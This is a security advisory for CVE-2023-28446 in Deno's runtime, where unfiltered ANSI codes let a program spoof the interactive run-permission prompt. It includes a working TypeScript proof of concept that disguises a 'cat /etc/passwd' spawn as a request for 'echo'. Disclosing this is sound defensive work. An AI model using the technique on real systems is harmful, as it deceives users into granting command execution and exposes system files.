CVE-2023-28446 – deno_runtime

Package

Manager: cargo
Name: deno_runtime
Vulnerable Version: >=1.8.0 <1.31.2

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.0124 pctl0.78468

Details

Interactive `run` permission prompt spoofing via improper ANSI neutralization ### Summary Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. ### Details The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`. ### PoC This PoC works on 1.31.1, but modified versions of it work on older versions. Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt ```ts const boldANSI = "\u001b[1m" // bold const unboldANSI = "\u001b[22m" // unbold const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI} ├ Requested by \`Deno.Command().output()` const moveANSIUp = "\u001b[1A" // moves to the start of the line const clearANSI = "\u001b[2K" // clears the line const moveANSIStart = "\u001b[1000D" // moves to the start of the line Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({ cmd: "cat", args: ["/etc/passwd"], clearEnv: false, env: [], stdin: "null", stdout: "inherit", stderr: "piped" }, moveANSIUp + clearANSI + moveANSIStart + prompt) ``` Run the file with `deno run index.ts`. ### Impact Any Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed: ``` // Expected Prompt ┌ ⚠️ Deno requests run access to "cat" ├ Requested by `Deno.Command().output()` API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) > // Actual Prompt ┌ ⚠️ Deno requests run access to "echo" ├ Requested by `Deno.Command().output()` API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) > ``` This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). Before `v1.31.0`, this requires the `--unstable` flag.

Metadata

Created: 2023-03-24T22:06:01Z
Modified: 2023-03-24T22:06:01Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-vq67-rp93-65qf/GHSA-vq67-rp93-65qf.json
CWE IDs: ["CWE-150"]
Alternative ID: GHSA-vq67-rp93-65qf
Finding: F111
Auto approve: 1